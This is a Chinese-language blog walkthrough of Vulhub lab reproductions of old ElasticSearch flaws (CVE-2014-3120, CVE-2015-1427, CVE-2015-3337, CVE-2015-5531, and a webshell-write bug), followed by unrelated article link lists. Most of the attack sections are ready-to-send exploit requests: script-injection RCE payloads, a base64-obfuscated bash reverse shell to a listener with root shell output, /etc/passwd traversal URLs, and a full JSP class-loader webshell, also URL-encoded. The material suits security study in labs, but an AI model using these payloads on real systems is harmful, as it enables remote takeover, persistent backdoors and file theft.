Vulhub 漏洞学习之:ElasticSearch

1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.1.1

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,利用MVEL通过以下命令直接执行任意代码:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

1.1 环境安装

docker-compose build
docker-compose up -d

1.2 漏洞利用过程

  1. Payload

    {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }
  2. 该漏洞需要es中至少存在一条数据,创建数据:

    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25 {
    "name": "phithon"
    }
  3. 执行任意代码:

    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343 {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }

    1.3 GetShell

  4. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 455 {
    "size": 1,
    "query": {
    "filtered": {
    "query": {
    "match_all": {
    }
    }
    }
    },
    "script_fields": {
    "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
    }
    }
  5. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 48194
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@1e49828c7901:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@1e49828c7901:/usr/share/elasticsearch#

2 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.2

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。

  1. 是一个沙盒绕过
  2. 是一个Goovy代码执行漏洞

原理参考

Remote Code Execution in Elasticsearch - CVE-2015-1427 (jordan-wright.com)

2.1 POC构造

lupin和tang3分别提出了两种执行命令的方法:

  1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
  2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res

2.2 环境安装

docker-compose build
docker-compose up -d

2.3 漏洞利用过程

要求es中至少有一条数据,增加数据:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25 {
"name": "test"
}

2.3.1 使用Java反射方法绕过沙盒

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489 {
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()", "lang": "groovy"
}
} }

2.3.2 利用Groovy语言执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 158 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

2.4 GetShell

  1. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 257 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getText()"}}}
  2. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 37106
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@270236e1e4d5:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)

3 ElasticSearch 目录穿越漏洞(CVE-2015-3337)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.4
  • 影响版本:1.4.5以下/1.5.2以下

3.1 POC构造

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

3.2 环境安装

docker-compose build
docker-compose up -d

测试环境需要安装了一个插件:elasticsearch-head

3.3 漏洞利用过程

  1. 查看所有已安装的插件:http://your-ip:9200/_cat/plugins

  2. 访问已安装的插件:http://your-ip:9200/_plugin/head/

  3. 访问/_plugin/head,根据漏洞成因,利用../实现目录穿越。(不要在浏览器中访问)

    http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd

4 ElasticSearch 目录穿越漏洞(CVE-2015-5531)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.6.0
  • 影响版本:1.6.1以下

:elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

ElasticSearch 1.6.0 - Arbitrary File Download - Linux webapps Exploit (exploit-db.com)

4.1 POC构造

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单,要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的。

4.2 环境安装

docker-compose build
docker-compose up -d

4.3 漏洞利用过程

  1. 新建一个仓库

    PUT /_snapshot/test HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108 {
    "type": "fs",
    "settings": {
    "location": "/usr/share/elasticsearch/repo/test"
    }
    }
  2. 创建一个快照

    PUT /_snapshot/test2 HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108 {
    "type": "fs",
    "settings": {
    "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
    }
    }
  3. 目录穿越读取任意文件

    • 访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
  4. 在错误信息中包含文件内容(编码后),对其进行解码即可获得文件

5 Elasticsearch写入webshell漏洞(WooYun-2015-110216)

5.1 POC构造

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

5.2 环境安装

编译与启动测试环境:

docker-compose build
docker-compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

5.3 漏洞利用过程

  1. 创建一个恶意索引文档:

    curl -XPOST http://192.168.50.4:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    ' // BP Payload
    POST /test.jsp/test.jsp/1 HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 228
    Content-Type: application/x-www-form-urlencoded {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

  2. 创建一个恶意的存储库,其中location的值即为要写入的路径。

    curl -XPUT 'http://192.168.50.4:9200/_snapshot/yz.jsp' -d '{
    "type": "fs",
    "settings": {
    "location": "/usr/local/tomcat/webapps/wwwroot/",
    "compress": false
    }
    }' // BP Payload
    PUT /_snapshot/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 142
    Content-Type: application/x-www-form-urlencoded {
    "type": "fs",
    "settings": {
    "location": "/usr/local/tomcat/webapps/wwwroot/",
    "compress": false
    }
    }

    这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

  3. 存储库验证并创建:

    curl -XPUT "http://192.168.50.4:9200/_snapshot/yz.jsp/yz.jsp" -d '{
    "indices": "yz.jsp",
    "ignore_unavailable": "true",
    "include_global_state": false
    }' // BP Payload
    PUT /_snapshot/test.jsp/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 105
    Content-Type: application/x-www-form-urlencoded {
    "indices": "test.jsp",
    "ignore_unavailable": "true",
    "include_global_state": false
    }

  4. 路径http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp为写入的Webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:写入success字符。

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=success
  5. 验证是否写入成功

     curl -XGET "http://192.168.50.4:8080/wwwroot/test.jsp"
    success

5.4 GetShell

  1. 找一个jsp的webshell,密码为:acmd

    <%!
    class OPERAND extends ClassLoader{
    OPERAND(ClassLoader c){super(c);}
    public Class hack(byte[] b){
    return super.defineClass(b, 0, b.length);
    }
    }
    public byte[] trace(String str) throws Exception {
    Class base64;
    byte[] value = null;
    try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception e) {
    try {
    base64=Class.forName("java.util.Base64");
    Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
    value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
    }
    return value;
    }
    %>
    <%
    String cls = request.getParameter("acmd");
    if (cls != null) {
    new OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new Object[]{request,response});
    }
    %>
  2. 对JSP的WEBShell代码进行url编码

    1. 在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具 (jsons.cn)
  3. 构造最后的Payload,并利用浏览器写入payload

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=%3C%25!%0Aclass%20OPERAND%20extends%20ClassLoader%7B%0A%20%20OPERAND(ClassLoader%20c)%7Bsuper(c)%3B%7D%0A%20%20public%20Class%20hack(byte%5B%5D%20b)%7B%0A%20%20%20%20return%20super.defineClass(b%2C%200%2C%20b.length)%3B%0A%20%20%7D%0A%7D%0Apublic%20byte%5B%5D%20trace(String%20str)%20throws%20Exception%20%7B%0A%20%20Class%20base64%3B%0A%20%20byte%5B%5D%20value%20%3D%20null%3B%0A%20%20try%20%7B%0A%20%20%20%20base64%3DClass.forName(%22sun.misc.BASE64Decoder%22)%3B%0A%20%20%20%20Object%20decoder%20%3D%20base64.newInstance()%3B%0A%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decodeBuffer%22%2C%20new%20Class%5B%5D%20%7BString.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%7D%20catch%20(Exception%20e)%20%7B%0A%20%20%20%20try%20%7B%0A%20%20%20%20%20%20base64%3DClass.forName(%22java.util.Base64%22)%3B%0A%20%20%20%20%20%20Object%20decoder%20%3D%20base64.getMethod(%22getDecoder%22%2C%20null).invoke(base64%2C%20null)%3B%0A%20%20%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decode%22%2C%20new%20Class%5B%5D%20%7B%20String.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%20%20%7D%20catch%20(Exception%20ee)%20%7B%7D%0A%20%20%7D%0A%20%20return%20value%3B%0A%7D%0A%25%3E%0A%3C%25%0AString%20cls%20%3D%20request.getParameter(%22acmd%22)%3B%0Aif%20(cls%20!%3D%20null)%20%7B%0A%20%20new%20OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new%20Object%5B%5D%7Brequest%2Cresponse%7D)%3B%0A%7D%0A%25%3E%0A
  4. 成功GET Shell

Vulhub 漏洞学习之:ElasticSearch的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  4. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  5. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  6. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  7. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  8. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  9. 【转】Vulhub - 开源的安全漏洞学习与复现项目

    转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...

  10. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

随机推荐

  1. 【2022-11-28】Docker部署搭建Gitlab

    一.环境准备 1. 准备一台虚拟机\或者购买服务器 2. 虚拟机硬件要求 2.1 内存不得少于4G,否则启动会报502错误,可自行百度解决,将虚拟机的swap分区调整为2G大小即可 2.2 CPU2核 ...

  2. 多表查询、Navicat软件、PyMySQL模块

    目录 多表查询.Navicat软件.PyMySQL模块 一.多表查询的两种方法 1.准备工作 2.第一种:连表操作 3.第二种:子查询 总结与结论: 二.多表查询练习题 1.课堂多表查询练习题 2.以 ...

  3. 5:Echarts数据可视化-多条曲线、多个子图、TreeMap类似盒图、树形图、热力图、词云

    〇.目标 本次实验主要基于Echarts的Python库实现高维数据.网络和层次化数据.时空数据和文本数据的可视化,掌握可视化的操作流程和相关库的使用. 一.绘制平行坐标系 平行坐标是信息可视化的一种 ...

  4. 【day01】redis

    〇.思维导图 1.解决缓存数据库双写不一致 延迟双删(中间sleep一段时间)--写性能下降 内存队列:同一个key(线程)的所有操作丢到队列,串行化执行--实现麻烦&大量内存队列,队列宕机 ...

  5. python软件开发目录规范

    软件开发目录规范 1.文件及目录的名字可以变换 但是思想是不变的 分类管理 2.目录规范主要规定开发程序的过程中针对不同的文件功能需要做不同的分类 myproject项目文件夹 1,bin文件夹 -- ...

  6. SQLMap入门——获取当前网站数据库的用户名称

    列出当前网站使用的数据库用户 python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user

  7. VMware虚拟机开机黑屏解决方法

    挂起时可以看到显示,但是开机就黑屏 解决方法: 命令提示符,鼠标右键点击"命令提示符",弹出菜单之后选择"以管理员身份运行" 在命令提示符窗口中输入" ...

  8. 8000字详解Thread Pool Executor

    摘要:Java是如何实现和管理线程池的? 本文分享自华为云社区<JUC线程池: ThreadPoolExecutor详解>,作者:龙哥手记 . 带着大厂的面试问题去理解 提示 请带着这些问 ...

  9. 在生产中部署 ES2015+ 代码

    大多数 Web 开发人员都喜欢编写具有所有最新语言特性的 JavaScript--async/await.类.箭头函数等.然而,尽管事实上所有现代浏览器都可以运行 ES2015+ 代码并原生支持我刚才 ...

  10. 为什么 java 容器推荐使用 ExitOnOutOfMemoryError 而非 HeapDumpOnOutOfMemoryError ?

    前言 好久没写文章了, 今天之所以突然心血来潮, 是因为昨天出现了这样一个情况: 我们公司的某个手机APP后端的用户(customer)微服务出现内存泄露, 导致OutOfMemoryError, 但 ...